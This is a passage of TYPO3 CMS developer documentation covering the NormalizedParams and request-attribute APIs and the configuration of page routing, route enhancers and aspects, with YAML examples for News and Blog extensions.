
getScriptFilename ( )
returntype

string

Returns

Absolute entry script path on server, eg. /var/www/typo3/index.php

getScriptName ( )
returntype

string

Returns

Script path part of URI, eg. '/typo3/index.php'

getSitePath ( )
returntype

string

Returns

Path part to frontend, eg. /some/sub/dir/

getSiteScript ( )
returntype

string

Returns

Path part to entry script with parameters, without sub dir, eg 'typo3/index.php?id=42'

getSiteUrl ( )
returntype

string

Returns

Website frontend url, eg. https://www.domain.com/some/sub/dir/

isBehindReverseProxy ( )
returntype

bool

Returns

True if request comes from a configured reverse proxy

isHttps ( )
returntype

bool

Returns

True if client request has been done using HTTPS

Migrating from GeneralUtility::getIndpEnv()

The class \TYPO3\CMS\Core\Http\NormalizedParams is a one-to-one transition of \TYPO3\CMS\Core\Utility\GeneralUtility::getIndpEnv(), the old arguments can be substituted with these calls:

  • SCRIPT_NAME is now ->getScriptName()
  • SCRIPT_FILENAME is now ->getScriptFilename()
  • REQUEST_URI is now ->getRequestUri()
  • TYPO3_REV_PROXY is now ->isBehindReverseProxy()
  • REMOTE_ADDR is now ->getRemoteAddress()
  • HTTP_HOST is now ->getHttpHost()
  • TYPO3_DOCUMENT_ROOT is now ->getDocumentRoot()
  • TYPO3_HOST_ONLY is now ->getRequestHostOnly()
  • TYPO3_PORT is now ->getRequestPort()
  • TYPO3_REQUEST_HOST is now ->getRequestHost()
  • TYPO3_REQUEST_URL is now ->getRequestUrl()
  • TYPO3_REQUEST_SCRIPT is now ->getRequestScript()
  • TYPO3_REQUEST_DIR is now ->getRequestDir()
  • TYPO3_SITE_URL is now ->getSiteUrl()
  • TYPO3_SITE_PATH is now ->getSitePath()
  • TYPO3_SITE_SCRIPT is now ->getSiteScript()
  • TYPO3_SSL is now ->isHttps()

Some further old getIndpEnv() arguments directly access $request->serverParams() and do not apply any normalization. These have been transferred to the new class, too, but will be deprecated later if the Core does not use them anymore:

  • PATH_INFO is now ->getPathInfo(), but better use ->getScriptName() instead
  • HTTP_REFERER is now ->getHttpReferer(), but better use $request->getServerParams()['HTTP_REFERER'] instead
  • HTTP_USER_AGENT is now ->getHttpUserAgent(), but better use $request->getServerParams()['HTTP_USER_AGENT'] instead
  • HTTP_ACCEPT_ENCODING is now ->getHttpAcceptEncoding(), but better use $request->getServerParams()['HTTP_ACCEPT_ENCODING'] instead
  • HTTP_ACCEPT_LANGUAGE is now ->getHttpAcceptLanguage(), but better use $request->getServerParams()['HTTP_ACCEPT_LANGUAGE'] instead
  • REMOTE_HOST is now ->getRemoteHost(), but better use $request->getServerParams()['REMOTE_HOST'] instead
  • QUERY_STRING is now ->getQueryString(), but better use $request->getServerParams()['QUERY_STRING'] instead

Route

The route backend request attribute provides routing information in the object \TYPO3\CMS\Backend\Routing\Route .

Example:

$route = $request->getAttribute('route');
$moduleConfiguration = $route->getOption('moduleConfiguration');
Copied!

API

class Route
Fully qualified name
\TYPO3\CMS\Backend\Routing\Route

This is a single entity for a Route.

The architecture is highly inspired by the Symfony Routing Component.

getPath ( )

Returns the path

setPath ( string $pattern)

Sets the pattern for the path A pattern must start with a slash and must not have multiple slashes at the beginning because the generated path for this route would be confused with a network path, e.g. '//domain.com/path'.

This method implements a fluent interface.

param string $pattern

The path pattern

getMethods ( )

Returns the uppercased HTTP methods this route is restricted to.

An empty array means that any method is allowed.

returntype

array

Returns

The methods

setMethods ( array $methods)

Sets the HTTP methods (e.g. ['POST']) this route is restricted to.

An empty array means that any method is allowed.

This method implements a fluent interface.

param array $methods

The array of allowed methods

returntype

self

getOptions ( )

Returns the options set

setOptions ( array $options)

Sets the options

This method implements a fluent interface.

param array $options

The options

setOption ( string $name, mixed $value)

Sets an option value

This method implements a fluent interface.

param string $name

An option name

param mixed $value

The option value

getOption ( string $name)

Get an option value

param string $name

An option name

hasOption ( string $name)

Checks if an option has been set

param string $name

An option name

Routing

The routing frontend request attribute provides routing information in the object \TYPO3\CMS\Core\Routing\PageArguments . If you want to know the current page ID or retrieve the query parameters this attribute is your friend.

Example:

$pageArguments = $request->getAttribute('routing');
$pageId = $pageArguments->getPageId();
Copied!

API

class PageArguments
Fully qualified name
\TYPO3\CMS\Core\Routing\PageArguments

Contains all resolved parameters when a page is resolved from a page path segment plus all fragments.

areDirty ( )
returntype

bool

getRouteArguments ( )
returntype

array

getPageId ( )
returntype

int

getPageType ( )
returntype

string

get ( string $name)
param string $name

the name

getArguments ( )
returntype

array

getStaticArguments ( )
returntype

array

getDynamicArguments ( )
returntype

array

getQueryArguments ( )
returntype

array

offsetExists ( mixed $offset)
param mixed $offset

the offset

returntype

bool

offsetGet ( mixed $offset)
param mixed $offset

the offset

offsetSet ( mixed $offset, mixed $value)
param mixed $offset

the offset

param mixed $value

the value

offsetUnset ( mixed $offset)
param mixed $offset

the offset

Site

The site request attribute hold information about the current site in the object \TYPO3\CMS\Core\Site\Entity\Site . It is available in frontend and backend context.

Example:

$site = $request->getAttribute('site');
$siteConfiguration = $site->getConfiguration();
Copied!

API

class Site
Fully qualified name
\TYPO3\CMS\Core\Site\Entity\Site

Entity representing a single site with available languages

getIdentifier ( )

Gets the identifier of this site, mainly used when maintaining / configuring sites.

returntype

string

getBase ( )

Returns the base URL of this site

returntype

Psr\Http\Message\UriInterface

getRootPageId ( )

Returns the root page ID of this site

returntype

int

getLanguages ( )
returntype

array

getAllLanguages ( )
returntype

array

getLanguageById ( int $languageId)

Returns a language of this site, given by the sys_language_uid

param int $languageId

the languageId

returntype

TYPO3\CMS\Core\Site\Entity\SiteLanguage

getDefaultLanguage ( )
returntype

TYPO3\CMS\Core\Site\Entity\SiteLanguage

getAvailableLanguages ( TYPO3\\CMS\\Core\\Authentication\\BackendUserAuthentication $user, bool $includeAllLanguagesFlag = false, int $pageId = NULL)
param TYPO3\\CMS\\Core\\Authentication\\BackendUserAuthentication $user

the user

param bool $includeAllLanguagesFlag

the includeAllLanguagesFlag, default: false

param int $pageId

the pageId, default: NULL

returntype

array

getErrorHandler ( int $statusCode)

Returns a ready-to-use error handler, to be used within the ErrorController

param int $statusCode

the statusCode

returntype

TYPO3\CMS\Core\Error\PageErrorHandler\PageErrorHandlerInterface

getConfiguration ( )

Returns the whole configuration for this site

returntype

array

getAttribute ( string $attributeName)

Returns a single configuration attribute

param string $attributeName

the attributeName

getRouter ( TYPO3\\CMS\\Core\\Context\\Context $context = NULL)

Returns the applicable router for this site. This might be configurable in the future.

param TYPO3\\CMS\\Core\\Context\\Context $context

the context, default: NULL

returntype

TYPO3\CMS\Core\Routing\RouterInterface

Target

The target backend request attribute provides the target action of a backend route. For instance, the target of the Web > List module is set to TYPO3\CMS\Recordlist\Controller\RecordListController::mainAction.

Example:

$target = $request->getAttribute('target');
Copied!

Introduction to Routing

Mathias Schreiber demonstrates the new way of handling URLs (Version 9.5, 28.09.2018).

What is Routing?

When TYPO3 serves a request, it maps the incoming URL to a specific page or action. For example it maps an URL like https://example.org/news to the News page. This process of determining the page and/or action to execute for a specific URL is called "Routing".

Additionally, routing will take care of beautifying URL parameters, for example converting https://example.org/profiles?user=magdalena to https://example.org/profiles/magdalena.

Key Terminology

Route
The "speaking URL" as a whole (without the domain part); for example /news/detail/2019-software-update
Slug

Unique name for a resource to use when creating URLs; for example the slug of the news detail page could be /news/detail, and the slug of a news record could be 2019-software-update.

Within TYPO3, a slug is always part of the URL "path" - it does not contain scheme, host, HTTP verb, etc.

A slug is usually added to a TCA-based database table, containing rules for evaluation and definition.

The default behaviour of a slug is as follows:

  • A slug only contains characters which are allowed within URLs. Spaces, commas and other special characters are converted to a fallback character.
  • A slug is always lower-cased.
  • A slug is unicode-aware.

Routing in TYPO3

Routing in TYPO3 is implemented based on the Symfony Routing components. It consists of two parts:

  • Page Routing
  • Route Enhancements and Aspects

Page Routing describes the process of resolving the concrete page (in earlier TYPO3 versions this were the id and L $_GET parameters), whereas Route Enhancements and Aspects take care of all additionally configured parameters (such as beautifying plugin parameters, handling type etc.).

Prerequisites

To ensure Routing in TYPO3 is fully functional the following prerequisites need to be met:

Tips

Using imports in yaml files

As routing configuration (and site configuration in general) can get pretty long fast, you should make use of imports in your yaml configuration which allows you to add routing configurations from different files and different extensions.

Example - Main config.yaml

imports:
   - { resource: "EXT:myblog/Configuration/Routes/Default.yaml" }
   - { resource: "EXT:mynews/Configuration/Routes/Default.yaml" }
   - { resource: "EXT:template/Configuration/Routes/Default.yaml" }
Copied!

Page based Routing

TYPO3 allows page based routing (that is mapping pages to routes) out of the box.

Configuration

To enable page based routing, add a site configuration (see Site handling) for your web site. To see which route gets mapped to which page, open the page properties and look at the slug field.

How a page slug is generated is configured via TCA configuration of the pages table (field slug). You can adjust that configuration in your extensions' TCA/Overrides/pages.php. See TCA reference (see Slugs / URL parts for available options).

Upgrading

An upgrade wizard has been provided that will take care of generating slugs for all existing pages. If you used RealURL before, the wizard tries to use the RealURL caches to generate matching slugs. However, this will not be successful in all cases and you should recheck the generated slugs if you want the URL structure to stay the same after an upgrade.

Advanced routing configuration (for extensions)

Introduction

While page-based routing works out of the box, routing for extensions has to be configured explicitly in your site configuration.

Enhancers and aspects are an important concept in TYPO3 and they are used to map GET parameters to routes.

An enhancer creates variations of a specific page-based route for a specific purpose (e.g. an Extbase plugin) and "enhances" an existing route path, which can contain flexible values, so-called "placeholders".

Aspects can be registered for a specific enhancer to modify placeholders, adding static, human readable names within the route path or dynamically generated values.

To give you an overview of what the distinction is, imagine a web page which is available at

https://example.org/path-to/my-page

(the path mirrors the page structure in the backend) and has page ID 13.

Enhancers can transform this route to:

https://example.org/path-to/my-page/products/<product-name>

An enhancer adds the suffix /products/<product-name> to the base route of the page. The enhancer uses a placeholder variable which is resolved statically, dynamically or built by an aspect or "mapper".

It is possible to use the same enhancer multiple times with different configurations. Be aware that it is not possible to combine multiple variants / enhancers matching multiple configurations.

However, custom enhancers can be created for special use cases, for example, when two plugins with multiple parameters each could be configured. Otherwise, the first variant matching the URL parameters is used for generating and resolving the route.

Enhancers

There are two types of enhancers: decorators and route enhancers. A route enhancer replaces a set of placeholders, inserts URL parameters during URL generation and then resolves them properly later. The substitution of values with aliases can be done by aspects. To simplify, a route enhancer specifies what the full route path looks like and which variables are available, whereas an aspect maps a single variable to a value.

TYPO3 comes with the following route enhancers out of the box:

TYPO3 provides the following decorator out of the box:

Custom enhancers can be registered by adding an entry to an extension's ext_localconf.php file:

$GLOBALS['TYPO3_CONF_VARS']['SYS']['routing']['enhancers']['CustomEnhancer']
    = \MyVendor\MyPackage\Routing\CustomEnhancer::class;
Copied!

Within a configuration, an enhancer always evaluates the following properties:

type
The short name of the enhancer as registered within $GLOBALS['TYPO3_CONF_VARS'] . This is mandatory.
limitToPages
An array of page IDs where this enhancer should be called. This is optional. This property (array) triggers an enhancer only for specific pages. In case of special plugin pages, it is recommended to enhance only those pages with the plugin to speed up performance of building page routes of all other pages.

All enhancers allow to configure at least one route with the following configuration:

defaults
Defines which URL parameters are optional. If the parameters are omitted during generation, they can receive a default value and do not need a placeholder - it is possible to add them at the very end of the routePath.
requirements

Specifies exactly what kind of parameter should be added to that route as a regular expression. This way it is configurable to allow only integer values, e.g. for pagination.

Make sure you define your requirements as strict as possible. This is necessary so that performance is not reduced and to allow TYPO3 to match the expected route.

_arguments
Defines what route parameters should be available to the system. In the following example, the placeholder is called category_id, but the URL generation receives the argument category. It is mapped to that name (so you can access/use it as category in your custom code).

TYPO3 will add the parameter cHash to URLs when necessary, see Caching variants - or: What is a "cache hash"?. The cHash can be removed by converting dynamic arguments into static arguments. All captured arguments are dynamic by default. They can be converted to static arguments by defining the possible expected values for these arguments. This is done by adding aspects for those arguments to provide a static list of expected values.

Simple enhancer

The simple enhancer works with route arguments. It maps them to an argument to make a URL that can be used later.

index.php?id=13&category=241&tag=Benni
Copied!

results in

https://example.org/path-to/my-page/show-by-category/241/Benni
Copied!

The configuration looks like this:

routeEnhancers:
  # Unique name for the enhancers, used internally for referencing
  CategoryListing:
    type: Simple
    limitToPages: [13]
    routePath: '/show-by-category/{category_id}/{tag}'
    defaults:
      tag: ''
    requirements:
      category_id: '[0-9]{1,3}'
      tag: '[a-zA-Z0-9]+'
    _arguments:
      category_id: 'category'
Copied!

routePath defines the static keyword and the placeholders.

Plugin enhancer

The plugin enhancer works with plugins based on the class AbstractPlugin, also known as "pi-based plugins".

In this example we will map the raw parameters of an URL like this:

https://example.org/path-to/my-page?id=13&tx_felogin_pi1[forgot]=1&tx_felogin_pi1[user]=82&tx_felogin_pi1[hash]=ABCDEFGHIJKLMNOPQRSTUVWXYZ012345
Copied!

The result will be an URL like this:

https://example.org/path-to/my-page/forgot-password/82/ABCDEFGHIJKLMNOPQRSTUVWXYZ012345
Copied!

The base for the plugin enhancer is the configuration of a so-called "namespace", in this case tx_felogin_pi1 - the plugin's namespace.

The plugin enhancer explicitly sets exactly one additional variation for a specific use case. For the frontend login, we would need to set up two configurations of the plugin enhancer for "forgot password" and "recover password".

routeEnhancers:
  ForgotPassword:
    type: Plugin
    limitToPages: [13]
    routePath: '/forgot-password/{user}/{hash}'
    namespace: 'tx_felogin_pi1'
    defaults:
      forgot: '1'
    requirements:
      user: '[0-9]{1,3}'
      hash: '^[a-zA-Z0-9]{32}$'
Copied!

If a URL is generated with the above parameters the resulting link will be this:

https://example.org/path-to/my-page/forgot-password/82/ABCDEFGHIJKLMNOPQRSTUVWXYZ012345
Copied!

As you see, the plugin enhancer is used to specify placeholders and requirements with a given namespace.

If you want to replace the user ID (in this example "82") with a username, you would need an aspect that can be registered within any enhancer, see below for details.

Extbase plugin enhancer

When creating Extbase plugins, it is very common to have multiple controller/action combinations. Therefore, the Extbase plugin enhancer is an extension to the regular plugin enhancer and provides the functionality to generate multiple variants, typically based on the available controller/action pairs.

The Extbase plugin enhancer with the configuration below would now apply to the following URLs:

index.php?id=13&tx_news_pi1[controller]=News&tx_news_pi1[action]=list
index.php?id=13&tx_news_pi1[controller]=News&tx_news_pi1[action]=list&tx_news_pi1[page]=5
index.php?id=13&tx_news_pi1[controller]=News&tx_news_pi1[action]=list&tx_news_pi1[year]=2018&tx_news_pi1[month]=8
index.php?id=13&tx_news_pi1[controller]=News&tx_news_pi1[action]=detail&tx_news_pi1[news]=13
index.php?id=13&tx_news_pi1[controller]=News&tx_news_pi1[action]=tag&tx_news_pi1[tag]=11
Copied!

And generate the following URLs:

https://example.org/path-to/my-page/list/
https://example.org/path-to/my-page/list/5
https://example.org/path-to/my-page/list/2018/8
https://example.org/path-to/my-page/detail/in-the-year-2525
https://example.org/path-to/my-page/tag/future
Copied!
routeEnhancers:
  NewsPlugin:
    type: Extbase
    limitToPages: [13]
    extension: News
    plugin: Pi1
    routes:
      - routePath: '/list/'
        _controller: 'News::list'
      - routePath: '/list/{page}'
        _controller: 'News::list'
        _arguments:
          page: '@widget_0/currentPage'
      - routePath: '/detail/{news_title}'
        _controller: 'News::detail'
        _arguments:
          news_title: 'news'
      - routePath: '/tag/{tag_name}'
        _controller: 'News::list'
        _arguments:
          tag_name: 'overwriteDemand/tags'
      - routePath: '/list/{year}/{month}'
        _controller: 'News::list'
        _arguments:
          year: 'overwriteDemand/year'
          month: 'overwriteDemand/month'
        requirements:
          year: '\d+'
          month: '\d+'
    defaultController: 'News::list'
    defaults:
      page: '0'
    aspects:
      news_title:
        type: PersistedAliasMapper
        tableName: tx_news_domain_model_news
        routeFieldName: path_segment
      page:
        type: StaticRangeMapper
        start: '1'
        end: '100'
      month:
        type: StaticRangeMapper
        start: '1'
        end: '12'
      year:
        type: StaticRangeMapper
        start: '1984'
        end: '2525'
      tag_name:
        type: PersistedAliasMapper
        tableName: tx_news_domain_model_tag
        routeFieldName: slug
Copied!

In this example, the _arguments parameter is used to set sub-properties of an array, which is typically used within demand objects for filtering functionality. Additionally, it is using both the short and the long form of writing route configurations.

To understand what's happening in the aspects part, read on.

PageType decorator

The PageType enhancer (decorator) allows to add a suffix to the existing route (including existing other enhancers) to map a page type (GET parameter &type=) to a suffix.

It is possible to map various page types to endings:

Example in TypoScript:

page = PAGE
page.typeNum = 0
page.10 = TEXT
page.10.value = Default page

rssfeed = PAGE
rssfeed.typeNum = 13
rssfeed.10 < plugin.tx_myplugin
rssfeed.config.disableAllHeaderCode = 1
rssfeed.config.additionalHeaders.10.header = Content-Type: xml/rss

jsonview = PAGE
jsonview.typeNum = 26
jsonview.config.disableAllHeaderCode = 1
jsonview.config.additionalHeaders.10.header = Content-Type: application/json
jsonview.10 = USER
jsonview.10.userFunc = MyVendor\MyExtension\Controller\JsonPageController->renderAction
Copied!

Now we configure the enhancer in your site's config.yaml file like this:

routeEnhancers:
  PageTypeSuffix:
    type: PageType
    default: ''
    map:
      'rss.feed': 13
      '.json': 26
Copied!

The map allows to add a filename or a file ending and map this to a page.typeNum value.

It is also possible to set default, for example to .html to add a ".html" suffix to all default pages:

routeEnhancers:
  PageTypeSuffix:
    type: PageType
    default: '.html'
    index: 'index'
    map:
      'rss.feed': 13
      '.json': 26
Copied!

The index property is used when generating links on root-level page, so instead of having /en/.html it would then result in /en/index.html.

Aspects

Now that we have looked at how to transform a route to a page by using arguments inserted into a URL, we will look at aspects. An aspect handles the detailed logic within placeholders. The most common part of an aspect is called a mapper. For example, parameter {news}, is a UID within TYPO3, and is mapped to the current news slug, which is a field within the database table containing the cleaned/sanitized title of the news (for example, "software-updates-2022" maps to news ID 10).

An aspect is a way to modify, beautify or map an argument into a placeholder. That's why the terms "mapper" and "modifier" will pop up, depending on the different cases.

Aspects are registered within a single enhancer configuration with the option aspects and can be used with any enhancer.

Let us start with some examples first:

StaticValueMapper

The static value mapper replaces values on a 1:1 mapping list of an argument into a speaking segment, useful for a checkout process to define the steps into "cart", "shipping", "billing", "overview" and "finish", or in another example to create human-readable segments for all available months.

The configuration could look like this:

routeEnhancers:
  NewsArchive:
    type: Extbase
    limitToPages: [13]
    extension: News
    plugin: Pi1
    routes:
      - { routePath: '/{year}/{month}', _controller: 'News::archive' }
    defaultController: 'News::list'
    defaults:
      month: ''
    aspects:
      month:
        type: StaticValueMapper
        map:
          january: 1
          february: 2
          march: 3
          april: 4
          may: 5
          june: 6
          july: 7
          august: 8
          september: 9
          october: 10
          november: 11
          december: 12
Copied!

You see the placeholder month where the aspect replaces the value to a human-readable URL path segment.

It is possible to add an optional localeMap to that aspect to use the locale of a value to use in multi-language setups:

routeEnhancers:
  NewsArchive:
    type: Extbase
    limitToPages: [13]
    extension: News
    plugin: Pi1
    routes:
      - { routePath: '/{year}/{month}', _controller: 'News::archive' }
    defaultController: 'News::list'
    defaults:
      month: ''
    aspects:
      month:
        type: StaticValueMapper
        map:
          january: 1
          february: 2
          march: 3
          april: 4
          may: 5
          june: 6
          july: 7
          august: 8
          september: 9
          october: 10
          november: 11
          december: 12
        localeMap:
          - locale: 'de_.*'
            map:
              januar: 1
              februar: 2
              maerz: 3
              april: 4
              mai: 5
              juni: 6
              juli: 7
              august: 8
              september: 9
              oktober: 10
              november: 11
              dezember: 12
Copied!

LocaleModifier

If we have an enhanced route path such as /archive/{year}/{month} it should be possible in multi-language setups to change /archive/ depending on the language of the page. This modifier is a good example where a route path is modified, but not affected by arguments.

The configuration could look like this:

routeEnhancers:
  NewsArchive:
    type: Extbase
    limitToPages: [13]
    extension: News
    plugin: Pi1
    routes:
      - { routePath: '/{localized_archive}/{year}/{month}', _controller: 'News::archive' }
    defaultController: 'News::list'
    aspects:
      localized_archive:
        type: LocaleModifier
        default: 'archive'
        localeMap:
          - locale: 'fr_FR.*|fr_CA.*'
            value: 'archives'
          - locale: 'de_DE.*'
            value: 'archiv'
Copied!

This aspect replaces the placeholder localized_archive depending on the locale of the language of that page.

StaticRangeMapper

A static range mapper allows to avoid the cHash and narrow down the available possibilities for a placeholder. It explicitly defines a range for a value, which is recommended for all kinds of pagination functionality.

routeEnhancers:
  NewsPlugin:
    type: Extbase
    limitToPages: [13]
    extension: News
    plugin: Pi1
    routes:
      - { routePath: '/list/{page}', _controller: 'News::list', _arguments: {'page': '@widget_0/currentPage'} }
    defaultController: 'News::list'
    defaults:
      page: '0'
    aspects:
      page:
        type: StaticRangeMapper
        start: '1'
        end: '100'
Copied!

This limits down the pagination to a maximum of 100 pages. If a user calls the news list with page 101, the route enhancer does not match and would not apply the placeholder.

PersistedAliasMapper

If an extension ships with a slug field or a different field used for the speaking URL path, this database field can be used to build the URL:

routeEnhancers:
  NewsPlugin:
    type: Extbase
    limitToPages: [13]
    extension: News
    plugin: Pi1
    routes:
      - { routePath: '/detail/{news_title}', _controller: 'News::detail', _arguments: {'news_title': 'news'} }
    defaultController: 'News::detail'
    aspects:
      news_title:
        type: PersistedAliasMapper
        tableName: 'tx_news_domain_model_news'
        routeFieldName: 'path_segment'
        routeValuePrefix: '/'
Copied!

The persisted alias mapper looks up the table and the field to map the given value to a URL. The property tableName points to the database table, the property routeFieldName is the field which will be used within the route path, in this example path_segment.

The special routeValuePrefix is used for TCA type slug fields where the prefix / is within all fields of the field names, which should be removed in the case above.

If a field is used for routeFieldName that is not prepared to be put into the route path, e.g. the news title field, you must ensure that this is unique and suitable for the use in an URL. On top, special characters like spaces will not be converted automatically. Therefore, usage of a slug TCA field is recommended.

PersistedPatternMapper

When a placeholder should be fetched from multiple fields of the database, the persisted pattern mapper is for you. It allows to combine various fields into one variable, ensuring a unique value, for example by adding the UID to the field without having the need of adding a custom slug field to the system.

routeEnhancers:
  Blog:
    type: Extbase
    limitToPages: [13]
    extension: BlogExample
    plugin: Pi1
    routes:
      - { routePath: '/blog/{blogpost}', _controller: 'Blog::detail', _arguments: {'blogpost': 'post'} }
    defaultController: 'Blog::detail'
    aspects:
      blogpost:
        type: PersistedPatternMapper
        tableName: 'tx_blogexample_domain_model_post'
        routeFieldPattern: '^(?P<title>.+)-(?P<uid>\d+)$'
        routeFieldResult: '{title}-{uid}'
Copied!

The routeFieldPattern option builds the title and uid fields from the database, the routeFieldResult shows how the placeholder will be output. However, as mentioned above special characters in the title might still be a problem. The persisted pattern mapper might be a good choice if you are upgrading from a previous version and had URLs with an appended UID for uniqueness.

Aspect precedence

Route requirements are ignored for route variables having a corresponding setting in aspects. Imagine an aspect that is mapping an internal value 1 to route value one and vice versa - it is not possible to explicitly define the requirements for this case - which is why aspects take precedence.

The following example illustrates the mentioned dilemma between route generation and resolving:

routeEnhancers:
  MyPlugin:
    type: 'Plugin'
    namespace: 'my'
    routePath: 'overview/{month}'
    requirements:
      # note: it does not make any sense to declare all values here again
      month: '^(\d+|january|february|march|april|...|december)$'
    aspects:
      month:
        type: 'StaticValueMapper'
        map:
          january: '1'
          february: '2'
          march: '3'
          april: '4'
          may: '5'
          june: '6'
          july: '7'
          august: '8'
          september: '9'
          october: '10'
          november: '11'
          december: '12'
Copied!

The map in the previous example is already defining all valid values. That is why aspects take precedence over requirements for a specific routePath definition.

Behind the Scenes

While accessing a page in TYPO3 in the frontend, all arguments are currently built back into the global GET parameters, but are also available as so-called \TYPO3\CMS\Core\Routing\PageArguments object. The PageArguments object is then used to sign and verify the parameters, to ensure that they are valid, when handing them further down the frontend request chain.

If there are dynamic parameters (= parameters which are not strictly limited), a verification GET parameter cHash is added, which can and should not be removed from the URL. The concept of manually activating or deactivating the generation of a cHash is not optional anymore, but strictly built-in to ensure proper URL handling. If you really have the requirement to not have a cHash argument, ensure that all placeholders are having strict definitions on what could be the result of the page segment (e.g. pagination), and feel free to build custom mappers.

All existing APIs like typolink or functionality evaluate the page routing API directly.

Extending Routing

The TYPO3 Routing is extendable by design, so you can write both custom aspects as well as custom enhancers.

  • You should write a custom enhancer if you need to manipulate how the full route looks like and gets resolved.
  • You should write a custom aspect if you want to manipulate how a single route parameter ("variable") gets mapped and resolved.

Writing custom aspects

Custom aspects can either be modifiers or mappers. A modifier provides static modifications to a route path based on a given context (for example "language"). A mapper provides a mapping table (either a static table or one with dynamic values from the database).

All aspects derive from the interface \TYPO3\CMS\Core\Routing\Aspect\AspectInterface .

To write a custom modifier, your aspect has to extend \TYPO3\CMS\Core\Routing\Aspect\ModifiableAspectInterface and implement the modify method (see \TYPO3\CMS\Core\Routing\Aspect\LocaleModifier as example).

To write a custom mapper, your aspect should either implement \TYPO3\CMS\Core\Routing\Aspect\StaticMappableAspectInterface or \TYPO3\CMS\Core\Routing\Aspect\PersistedMappableAspectInterface , depending on whether you have a static or dynamic mapping table. The latter interface is used for mappers that need more expensive - for example database related - queries as execution is deferred to improve performance.

All mappers need to implement the methods generate and resolve. The first one is used on URL generation, the second one on URL resolution.

After implementing the matching interface, your aspect needs to be registered in ext_localconf.php:

EXT:my_extension/ext_localconf.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['routing']['aspects']['MyCustomMapperNameAsUsedInYamlConfig'] =
    \MyVendor\MyExtension\Routing\Aspect\MyCustomMapper::class;
Copied!

It can now be used in the routing configuration as type. The example above could be used as type: MyCustomMapperNameAsUsedInYamlConfig.

If your aspect is language aware, it should additionally implement SiteLanguageAwareInterface with the methods setSiteLanguage(Entity\SiteLanguage $siteLanguage) and getSiteLanguage(). setSiteLanguage will automatically be called with the current site language object.

Impact

Routing aspects respecting the site language are now using the SiteLanguageAwareInterface in addition to the SiteLanguageAwareTrait. The AspectFactory check has been adjusted to check for the interface _or_ the trait. If you are currently using the trait, you should implement the interface as well.

Writing custom enhancers

Enhancers can be either decorators or routing enhancers providing variants for a page.

  • To write a custom decorator your enhancer should implement the \TYPO3\CMS\Core\Routing\Enhancer\DecoratingEnhancerInterface .
  • To write a custom route enhancer your enhancer should implement both \TYPO3\CMS\Core\Routing\Enhancer\RoutingEnhancerInterface and \TYPO3\CMS\Core\Routing\Enhancer\ResultingInterface

The interfaces contain methods you need to implement as well as a description of what the methods are supposed to do. Please take a look there.

To register the enhancer, add the following to your ext_localconf.php:

EXT:my_extension/ext_localconf.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['routing']['enhancers']['MyCustomEnhancerAsUsedInYaml'] = \MyVendor\MyExtension\Routing\Enhancer\MyCustomEnhancer::class;
Copied!

Now you can use your new enhancer in the routing configuration as type. The example above could be used as type: MyCustomEnhancerAsUsedInYaml.

Manipulating generated slugs

The "slug" TCA type includes a possibility to hook into the generation of a slug via custom TCA generation options.

Hooks can be registered via

$GLOBALS['TCA'][$tableName]['columns'][$fieldName]['config']['generatorOptions']['postModifiers'][] = My\Class::class . '->method';
Copied!

in EXT:myextension/Configuration/TCA/Overrides/table.php, where $tableName can be a table like pages and $fieldName matches the slug field name, e.g. slug.

$GLOBALS['TCA']['pages']['columns']['slug']['config']['generatorOptions']['postModifiers'][] = My\Class::class . '->modifySlug';
Copied!

The method then receives an parameter array with the following values:

 [
     'slug' ... the slug to be used
     'workspaceId' ... the workspace ID, "0" if in live workspace
     'configuration' ... the configuration of the TCA field
     'record' ... the full record to be used
     'pid' ... the resolved parent page ID
     'prefix' ... the prefix that was added
     'tableName' ... the table of the slug field
     'fieldName' ... the field name of the slug field
];
Copied!

All hooks need to return the modified slug value.

Any extension can modify a specific slug, for instance only for a specific part of the page tree.

It is also possible for extensions to implement custom functionality like "Do not include in slug generation" as known from RealURL.

Collection of various routing examples

EXT: News

Prerequisites:

The plugins for list view and detail view are on separate pages. If you use the category menu or tag list plugins to filter news records, their titles (slugs) are used.

Result:

  • Detail view: https://example.org/news/detail/the-news-title
  • Pagination: https://example.org/news/page-2
  • Category filter: https://example.org/news/my-category
  • Tag filter: https://example.org/news/my-tag
routeEnhancers:
  News:
    type: Extbase
    extension: News
    plugin: Pi1
    routes:
      - routePath: '/page-{page}'
        _controller: 'News::list'
        _arguments:
          page: currentPage
      - routePath: '/{news-title}'
        _controller: 'News::detail'
        _arguments:
          news-title: news
      - routePath: '/{category-name}'
        _controller: 'News::list'
        _arguments:
          category-name: overwriteDemand/categories
      - routePath: '/{tag-name}'
        _controller: 'News::list'
        _arguments:
          tag-name: overwriteDemand/tags
    defaultController: 'News::list'
    defaults:
      page: '0'
    aspects:
      news-title:
        type: PersistedAliasMapper
        tableName: tx_news_domain_model_news
        routeFieldName: path_segment
      page:
        type: StaticRangeMapper
        start: '1'
        end: '100'
      category-name:
        type: PersistedAliasMapper
        tableName: sys_category
        routeFieldName: slug
      tag-name:
        type: PersistedAliasMapper
        tableName: tx_news_domain_model_tag
        routeFieldName: slug
Copied!

For more examples and background information see the routing examples in the "News" manual.

EXT: Blog with custom aspect

Taken from https://typo3.com routing configuration and the blog extension.

Archive

routeEnhancers:
  BlogArchive:
    type: Extbase
    extension: Blog
    plugin: Archive
    routes:
      -
        routePath: '/{year}'
        _controller: 'Post::listPostsByDate'
        _arguments:
        year: year
      -
        routePath: '/{year}/page-{page}'
        _controller: 'Post::listPostsByDate'
        _arguments:
          year: year
          page: '@widget_0/currentPage'
      -
        routePath: '/{year}/{month}'
        _controller: 'Post::listPostsByDate'
        _arguments:
          year: year
          month: month
      -
        routePath: '/{year}/{month}/page-{page}'
        _controller: 'Post::listPostsByDate'
        _arguments:
          year: year
          month: month
          page: '@widget_0/currentPage'
    defaultController: 'Post::listPostsByDate'
    aspects:
      year:
        type: BlogStaticDatabaseMapper
        table: 'pages'
        field: 'crdate_year'
        groupBy: 'crdate_year'
        where:
        doktype: 137
      month:
        type: StaticValueMapper
        map:
        january: 1
        february: 2
        march: 3
        april: 4
        may: 5
        june: 6
        july: 7
        august: 8
        september: 9
        october: 10
        november: 11
        december: 12
        localeMap:
          -
            locale: 'de_.*'
            map:
            januar: 1
            februar: 2
            maerz: 3
            april: 4
            mai: 5
            juni: 6
            juli: 7
            august: 8
            september: 9
            oktober: 10
            november: 11
            dezember: 12
          -
            locale: 'fr_.*'
            map:
            janvier: 1
            fevrier: 2
            mars: 3
            avril: 4
            mai: 5
            juin: 6
            juillet: 7
            aout: 8
            septembre: 9
